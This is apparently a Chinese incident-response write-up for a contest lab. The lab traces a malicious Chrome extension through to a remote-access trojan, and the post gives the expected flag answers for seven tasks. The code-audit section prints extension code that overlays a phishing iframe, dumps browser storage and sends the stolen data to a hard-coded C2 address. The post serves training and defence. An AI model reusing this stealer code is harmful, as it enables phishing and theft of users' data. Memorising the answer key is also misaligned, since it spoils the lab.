学习干货|首发黑灰产靶场之恶意浏览器插件窃密与远控溯源复盘
本篇文章共 6600字+1视频,完全阅读全篇约80分钟 州弟学安全,只学有用的知识
一、写在前面
大家好,我是州弟。
这也是 2026 年开工后的第一篇技术文章,终于抽出时间整理出来和大家见面了。最近一段时间确实非常忙,手头上的项目比较密集,也一直在各个城市来回出差推进工作。

这次和各位师傅分享的内容,是我在当前公司(思而听)的 Solar 应急响应月赛里出的一套实战靶场环境。
出这个题目的初衷,来源于前段时间国家安全部披露的一起网络安全事件:境外间谍情报机关及黑灰产组织,通过向国内用户投递恶意浏览器插件,进行隐蔽的网络监控与敏感数据窃取。在地下黑市中,甚至有类似 “Stanley” 这样的恶意软件订阅服务(MaaS),他们号称能绕过官方浏览器商店的审核,利用全透明的 iframe 覆盖在真实网页上,极具欺骗性,当然,我也在Solar应急响应团队账号上输出了相关分析文章:【Solar 应急预警】国家安全部揭露境外间谍黑产,针对境外间谍插件窃密技术深度解析(附自查清单)
在以往的安全排查中,大家对“远控木马”的固有印象往往停留在.exe格式的可执行文件,或者是基于 DLL 劫持的白加黑利用。但随着攻防对抗的升级,我们日常办公高频依赖的浏览器插件、前端组件,同样能够被武器化(近期投毒事件频发),成为隐蔽获取内网权限和窃取数据的远控通道。
为了帮助大家熟悉这类新型威胁的排查手法,我将该攻击场景进行了复刻。接下来,我们就通过《谁偷了我的数据?》这个靶场,完整走一遍从异常发现到溯源分析的排查全流程。

二、案件背景与靶场获取
某科技公司(目标域名设定为solarsecurity.cn)的安全运维人员小李,近期在负责搭建内部的安全运营平台。但在最近的例行检查中,态势感知设备发出高危告警:小李的办公电脑存在频繁的异常外联,且伴随被远控的迹象。目前仅捕获到其对外访问的可疑IP地址为:47.105.126.219。
本次排查任务需要以该可疑IP为线索,上机还原完整的攻击链路。
-
受害主机账号/密码: solar / Solar2026 -
注意:如按照WP使用火绒剑无法抓取到远控地址,可能是系统导致插件失败,前往谷歌浏览器->扩展程序->重新加载一下插件即可
设计本环境主要为了在实战中针对黑灰产远控、浏览器插件外联事件进行排查演练。整体排查思路涵盖:前期使用工具定位外联主程序,中期定位恶意插件及进行代码审计,后期追踪远控木马、进行清理及总结。
靶场访问与资源链接:
-
青少年CTF在线环境访问: https://www.qsnctf.com/#/main/target -
离线环境(百度网盘): https://pan.baidu.com/s/1jHrVWDZRp776ra7k53n4lw?pwd=imbf -
离线环境(夸克网盘): https://pan.quark.cn/s/22c9904b0265 -
玄机:https://xj.edisec.net/challenges/441 -
棉花糖靶场也已同步上架
题目清单
任务一:初露端倪(寻找发起连接的主程序)题目描述: 安全设备捕获到了恶意的网络通信,但究竟是哪个本地程序在发起这些请求?请排查并提交实际建立该可疑连接的“宿主”程序绝对路径。提交格式: flag{C:\xxxxxx.exe}预期答案: flag{C:\Program Files\Google\Chrome\Application\chrome.exe}任务二:顺藤摸瓜(深入排查隐蔽恶意组件)题目描述: 经验丰富的应急响应人员深知,刚才找到的宿主程序本身是合法的白名单软件,它只是一个“躯壳”。真正的幕后黑手是潜伏在其中被加载的某个恶意核心组件。请深入排查,揪出这个隐蔽的恶意模块,并提交该组件的唯一标识符(ID)。提交格式: flag{xxxxxxxxxxxx}预期答案: flag{bibkdnmjdmickicfinmfmelnhicamlde}任务三:时间刻度(锁定本地落地时间)题目描述: 梳理时间线是还原攻击过程的关键一步。请查明这个恶意组件最初被植入到受害者本地主机的准确修改时间。提交格式: flag{YYYY-M-D-H:MM:SS} (注意带上连字符和冒号)预期答案: flag{2025-9-26-3:33:35}任务四:追根溯源(寻找初始感染源)题目描述: 小李究竟是怎么中招的?请结合受害主机留下的历史痕迹,找出小李最初获取/下载该恶意组件的来源网站地址。提交格式: flag{http://xxx.com/}预期答案: flag{http://blog.fake-sec-tools.com/}任务五:代码审计(剖析组件核心逻辑)题目描述: 提取出该恶意组件的源码后,我们需要明确它的窃密行为。请对其进行代码审计,找出代码中用于静默获取受害主机互联网出口IP的外部API地址。提交格式: flag{https://xxx.com/xxx}预期答案: flag{https://api.ipify.org?format=json}任务六:致命诱饵题目描述: 通过深入分析发现,该恶意组件不仅窃密,还会向受害者下发欺骗性的伪造弹窗。请找出受害者点击弹窗后,被重定向去下载后续恶意负载(远控木马)的钓鱼网站完整URL。提交格式: flag{http://x.x.x.x:port/xxx/xxx/xx}预期答案: flag{http://47.105.126.219:8080/fake/index.html}任务七:终极远控(提取C2基础设施)题目描述: 受害者在上述钓鱼页面中被诱导下载并执行了进一步的远控木马。请对该木马文件进行分析(或结合流量/日志),提取出攻击者最终用于深度控制受害主机的C2地址和端口。提交格式: flag{x.x.x.x:port}预期答案: flag{143.55.28.36:1234}
三、解题步骤
任务一:初露端倪(寻找发起连接的主程序)
安全设备捕获到了恶意的网络通信,但究竟是哪个本地程序在发起这些请求?请排查并提交实际建立该可疑连接的“宿主”程序绝对路径。
分析与排查:
登录受害主机后,会发现系统自动打开了Google Chrome浏览器。在题目的模拟环境中,为了复现用户日常被植入恶意插件后持续外联的场景,系统预设了开机自启的计划任务来触发浏览器。在真实的实战场景中,受害者往往是在日常办公、浏览网页时手动打开浏览器,而潜伏的恶意插件便会在后台进行无感知的网络外联,甚至在用户访问特定业务域名时进行页面劫持,窃取敏感数据。

在排查进程的网络行为时,推荐使用专业的系统行为分析工具,这能够大幅提升定位的准确率和效率。常用的工具包括 ProcessExplorer、火绒剑、Process Hacker 以及 Sysmon 等。
在本环境中,我们可以使用桌面提供的火绒安全软件。依次打开“火绒安全软件 -> 安全工具 -> 火绒剑”。

进入火绒剑后,点击左上角的“开启监控”,工具便会开始捕获当前系统中所有进程的底层行为(涵盖文件读写、注册表操作以及网络通信等)。

根据告警情报,已知目标外联IP为47.105.126.219。在火绒剑的搜索框中输入该IP进行条件过滤。稍作等待,监控日志中便会出现相关的网络请求,清晰地指出发起该网络动作的进程名为chrome.exe。

双击该条网络监控记录或右键查看进程属性,可以获取到该宿主程序的完整绝对路径。

预期答案: flag{C:\Program Files\Google\Chrome\Application\chrome.exe}
任务二:顺藤摸瓜(深入排查隐蔽恶意组件)
经验丰富的应急响应人员深知,刚才找到的宿主程序本身是合法的白名单软件,它只是一个“躯壳”。真正的幕后黑手是潜伏在其中被加载的某个恶意核心组件。请深入排查,揪出这个隐蔽的恶意模块,并提交该组件的唯一标识符(ID)。
分析与排查:
Chrome 浏览器产生异常外联,在实战中通常可以归纳为以下三种主流情况:
-
正常业务交互:用户访问了包含大量第三方资源的网站,产生了正常的网络流量。 -
插件后台行为:浏览器安装的扩展插件在后台静默与服务端进行通信(如版本更新、数据同步,或恶意数据回传)。 -
DLL 白加黑利用:Chrome 进程加载了被替换的恶意 DLL 库,由恶意 DLL 发起网络连接。
结合本题背景,排查重点应放在浏览器插件上。在 Chrome 中,可以使用快捷键 Shift + Esc 呼出浏览器自带的“任务管理器”,这有助于快速甄别是哪个特定的页面或服务在占用网络。

从图中可以观察到一个正在运行的Service Worker,其关联的插件 ID 为 bibkdnmjdmickicfinmfmelnhicamlde。
随后,在浏览器地址栏输入chrome://extensions/(或通过右侧菜单进入“扩展程序”管理页面)。

在列表中找到对应 ID 的插件,发现其伪装名为“内网安全运维加速助手”。点击“详情”按钮进入深层排查。

在插件的详情页底部,可以查看到该“未打包的扩展程序”的本地加载来源路径。点击该路径链接,即可直接定位到恶意组件在本地磁盘的存放目录。

进入该目录后,对插件源码文件进行初步检视。打开background.js文件,可以明显看到代码中硬编码的 C2_HOST 地址正是我们在告警中发现的可疑 IP47.105.126.219。
(注:实战中的恶意插件代码往往会经过高度混淆或加密,需要进行额外的反混淆处理才能看到真实的 C2 地址。)

条件都可以一一对应,所以插件/组件的ID为:bibkdnmjdmickicfinmfmelnhicamlde
预期答案:flag{bibkdnmjdmickicfinmfmelnhicamlde}
任务三:时间刻度(锁定本地落地时间)
梳理时间线是还原攻击过程的关键一步。请查明这个恶意组件最初被植入到受害者本地主机的准确修改时间。
分析与排查:
确定了恶意文件存放的目录后,我们需要排查文件的落地时间。通常情况下,文件的“修改时间”可以近似看作其落地的初始时间(前提是该文件在此后未被恶意篡改,或者攻击者没有刻意利用工具修改时间戳)。

从文件属性中提取修改时间即可锁定其植入的时间刻度。
预期答案:flag{2025-9-26-3:33:35}
任务四:追根溯源(寻找初始感染源)
小李究竟是怎么中招的?请结合受害主机留下的历史痕迹,找出小李最初获取/下载该恶意组件的来源网站地址。
分析与排查:
明确了恶意文件的落地时间(凌晨 3:33 左右)后,我们需要通过溯源浏览器的历史记录来寻找感染入口。如果手动在浏览器中翻阅海量的历史记录,效率极低且容易遗漏。

为了提高排查效率,推荐使用专业的浏览器数据提取工具,例如HackBrowserData。 在命令行中运行该工具,它会自动解析系统内主流浏览器的本地数据库,并将书签、历史记录、下载记录等提取并格式化输出到results目录下的 CSV 文件中。
https://github.com/moond4rk/HackBrowserData

打开chrome_default_download.csv(Chrome默认下载记录),浏览器会对用户的所有下载行为进行留存。
实战经验拓展:无论是下载记录还是浏览记录,其本质都是被浏览器存储在本地的 SQLite 数据库文件(即 History 文件)中。基于 Chromium 内核的浏览器默认通常只保留最近 90 天的常规网页访问记录。如果攻击者清理了痕迹,或者 DB 文件被删除,常规的提取工具将失效,此时必须通过磁盘扇区级的深度数据恢复或底层文件系统取证来尝试还原。

在记录中,发现一条发生于2025-09-26 03:18:19的下载行为,下载文件为extension.zip,其来源 URL 明确指向了一个伪造的安全工具博客。时间点和文件类型与事件高度吻合
预期答案:flag{http://blog.fake-sec-tools.com/}
任务五:代码审计(剖析组件核心逻辑)
提取出该恶意组件的源码后,我们需要明确它的窃密行为。请对其进行代码审计,找出代码中用于静默获取受害主机互联网出口IP的外部API地址。
分析与排查:
首先对提取出的恶意插件目录结构进行梳理:
extension/ ├── manifest.json # 扩展的配置文件(定义权限、脚本范围及元数据) ├── icon.png # 扩展图标(用于在浏览器工具栏显示,增加欺骗性) ├── content.js # 内容脚本(注入到目标网页,负责劫持页面、窃取存储和键盘记录) └── background.js # 后台服务脚本(负责持久化运行、窃取隐私数据、截屏及接收远端指令)
关键文件审计:
-
manifest.json: 该文件声明了极高的权限(如读取所有网站数据、Cookie、历史记录、地理位置等),并指定 content.js 仅在匹配 //*.solarsecurity.cn/时运行,暴露出明显的针对性攻击意图。 -
content.js(核心攻击载荷片段): 当用户访问目标网站时,该脚本会立刻停止原页面加载,并通过 iframe注入伪造的钓鱼页面,同时启动键盘记录器(Keylogger)和本地存储窃取。
const FAKE_SITE_URL = "[http://47.105.126.219:8080/fake_site/index.html](http://47.105.126.219:8080/fake_site/index.html)"; const C2_HOST = "[http://47.105.126.219:8080](http://47.105.126.219:8080)"; console.log("Stanley Module Loaded: Target Domain Detected."); window.stop(); // 立即停止原始目标网页的加载 const iframe = document.createElement('iframe'); iframe.src = FAKE_SITE_URL; iframe.style.cssText = ` position: fixed; top: 0; left: 0; width: 100%; height: 100%; border: none; z-index: 9999999; background: white; `; document.documentElement.innerHTML = ""; document.documentElement.appendChild(iframe); // 注入全屏钓鱼页面 // 抓取当前页面的 LocalStorage 和 SessionStorage 敏感信息 const storageDump = { local: JSON.parse(JSON.stringify(localStorage || {})), session: JSON.parse(JSON.stringify(sessionStorage || {})) }; // 利用第三方 API 获取受害者的真实公网 IP fetch('[https://api.ipify.org?format=json](https://api.ipify.org?format=json)', { cache: 'no-store' }) .then(r => r.json()) .then(data => { chrome.runtime.sendMessage({ type: "REGISTER_VICTIM", ip: data.ip || "fetch-ok-no-ip", domain: window.location.hostname, storage: storageDump, ua: navigator.userAgent, referrer: document.referrer || ""}); }) .catch(() => { /* 错误处理略 */ });
通过上述代码审计,可以明确该组件在静默获取受害者公网 IP 时,调用了外部接口https://api.ipify.org?format=json。
预期答案:flag{https://api.ipify.org?format=json}
任务六:致命诱饵
通过深入分析发现,该恶意组件不仅窃密,还会向受害者下发欺骗性的伪造弹窗。请找出受害者点击弹窗后,被重定向去下载后续恶意负载(远控木马)的钓鱼网站完整URL。
分析与排查:
在 Windows 操作系统中,所谓的“弹窗”常常是以系统右下角的通知形式呈现。
实战经验拓展:需要注意的是,Windows系统的通知栏存在“已读/交互即焚”机制。当受害者点击该伪造的安全警告弹窗后,该通知消息会被系统自动从侧边栏清除,不会留下直观的视觉痕迹。这大大增加了事后取证的难度。

由于弹窗点击后发生了下载行为,我们再次回到前面导出的chrome_default_download.csv记录进行排查。

发现在2026-01-29 06:48:17,主机下载了一个名为“运维助手.exe”的程序。
在应急响应的实战中,任何未经确认的可执行程序下载事件都应被列入高度可疑的范畴。对应的下载 URL 恰好指向了我们已知的 C2 服务器的特定目录。
结合威胁情报平台及开放端口探测,可以进一步佐证该 URL 为托管恶意负载的钓鱼页面。
预期答案:flag{http://47.105.126.219:8080/fake/index.html}
任务七:终极远控(提取C2基础设施)
受害者在上述钓鱼页面中被诱导下载并执行了进一步的远控木马。请对该木马文件进行分析(或结合流量/日志),提取出攻击者最终用于深度控制受害主机的C2地址和端口。
分析与排查:
根据前一步提取的浏览器下载日志,确定该远控木马程序落地在 C:\Users\Solar\Downloads 目录下。

获取到样本后,最快速的分析方法是将其上传至云沙箱(如微步云沙箱、奇安信沙箱等)进行动态行为分析,提取其网络外联特征。

实战经验拓展:
-
沙箱逃逸应对:在实战场景中,有时将样本上传至沙箱后,由于沙箱环境的局限性(如缺少特定的运行库、模拟环境被识别)可能会出现不触发外联的情况。 -
手工动态调试:此时,建议将样本置于隔离的虚拟机中,开启火绒剑、Sysmon 等系统行为监控工具,手动触发木马以观察其真实行为轨迹。 -
逆向分析:若样本具备复杂的反沙箱或反虚拟机机制,则需要安全人员使用 IDA Pro、x64dbg 等工具进行脱壳、逆向工程和底层调试,强行提取出硬编码或动态解密的 C2 地址。

通过监控分析,清晰地捕获到运维助手 (1).exe进程建立了一条 TCP 连接,其远程外联的目的 IP 和端口为143.55.28.36:1234。这就是攻击者用于最终深度控制该主机的 C2 基础设施。
预期答案:flag{143.55.28.36:1234}
四、实战总结与防御建议
至此,这个《谁偷了我的数据?》的靶场排查就算全部通关了。
简单复盘一下整条攻击链路:受害者访问伪造的安全博客 -> 诱导下载并安装恶意 Chrome 扩展 -> 插件后台潜伏窃密并回传 -> 触发伪造的 Windows 系统更新弹窗 -> 诱导下载实体远控木马 (运维助手.exe) -> 主机被深度控制。
这虽然是一个仿真靶场,但其使用的技战术和国内外面临的真实黑产事件是高度一致的。针对这类情况,我们在日常的内网防御和企业安全运营中,建议关注以下几点:
-
端点策略收紧:企业办公环境应通过域控或组策略,严格限制员工在浏览器中开启“开发者模式”安装未打包的第三方扩展,非必要的插件能少则少。 -
强化进程行为监控:在部署 EDR 等端点防护产品时,不要仅盯着传统的木马落盘,需要增加对浏览器异常子进程、Service Worker 异常流量以及浏览器调用系统级 API 弹窗的关注。 -
零信任与网络隔离:对于掌握核心数据的运维人员或财务人员,办公主机应采取更加严格的网络出口白名单机制,从网络层面对未知的高危外联进行阻断。
夜雨聆风